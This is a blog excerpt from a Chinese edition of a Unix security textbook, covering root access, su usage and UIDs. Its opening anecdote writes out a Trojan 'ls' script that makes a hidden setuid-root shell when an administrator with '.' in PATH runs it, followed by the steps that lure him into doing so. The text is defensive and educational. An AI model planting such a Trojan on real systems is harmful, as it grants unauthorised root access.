《Unix与Internet安全实践指南》 之用户、组以及超级用户

书摘:

  1.                                盗窃超级用户

  许多年前,我们中的一个人想要访问一台学术计算机上的root账号.虽然该系统的管理员允许我们访问root账号,但是本地的系统管理员却不想告诉我们root密码.他宣称,访问root账号是很危险的(这是正确的),而他对Unix要比我们懂得多(这可不一定),因此我们不需要这种访问(这是不正确的).在尝试了几次"外交"以及"官僚"谈判以后,管理员勉强同意我们采用另一种稍有不同的方法.

  我们注意到该用户的shell搜索路径起始处包含了".".这就是说,每次他键入一个命令名,shell首先在当前路径下查找这一名字.当他执行su切换到root用户时,新shell继承了这一搜索路径.这就是我们想要的.

  首先,我们在当前目录下创建了一个可执行的shell文件,名为ls:

  #!/bin/sh

  cp /bin/sh ./stuff/junk/.superdude

  chomd 4555 ./stuff/junk/.superdude

  rm -f $0

  exec /bin/ls ${1+"$@"}

  然后,执行了以下命令:

  % cd

  % chmod 700

  % touch ./-f

  现在陷阱已经做好了.我们就开始向那个顽固的管理员报怨说:"在我的目录中,有一个奇怪的文件,我无法删除该文件."因为该目录的状态为700,因此他无法列出目录内容.于是,他使用su切换为root用户.然后,他转到我们的主目录下,使用命令ls来查看问题文件.而实际上他运行的是我们编写的ls程序,而不是系统命令.这一程序创建了一个隐藏的setuid root的shell拷贝,然后删除了伪造的ls命令,送运行了真实的ls命令.而该系统管理员对些一无所知.

  当他傲慢地向我们解释说,以破折号(-)开始的文件名,必须带上相对路径名才能删除时(在这个例子中,应该使用rm ./-f),我们很有礼貌地听着;当然,他所讲的内容我们一清二楚.

  几分钟之后,他就无法得到root 的新密码了.

 

  2.% /bin/su -

   password:123456

    #whoami

     root

        #

   当使用su命令切换到超级用户时,你应该习惯键入命令的全路径名/bin/su.这样就可以确保所运行的确实是/bin/su命令,而不是其他路径里的su程序.

   当使用su命令切换到超级用户时,使用破折号(-)是很重要的:这一选项保证用户能够使用超级用户的路径,而不是原来账号的路径设置.

   

  3.如果两个用户的UID相同,即使用户名与密码都不相同,Unix也会认为这是同一个用户.两个UID相同的用户能够自由地阅读和删除对方的文件,并且能够互相删除程序.

原文地址:https://www.cnblogs.com/xiaoguanqiu/p/2570955.html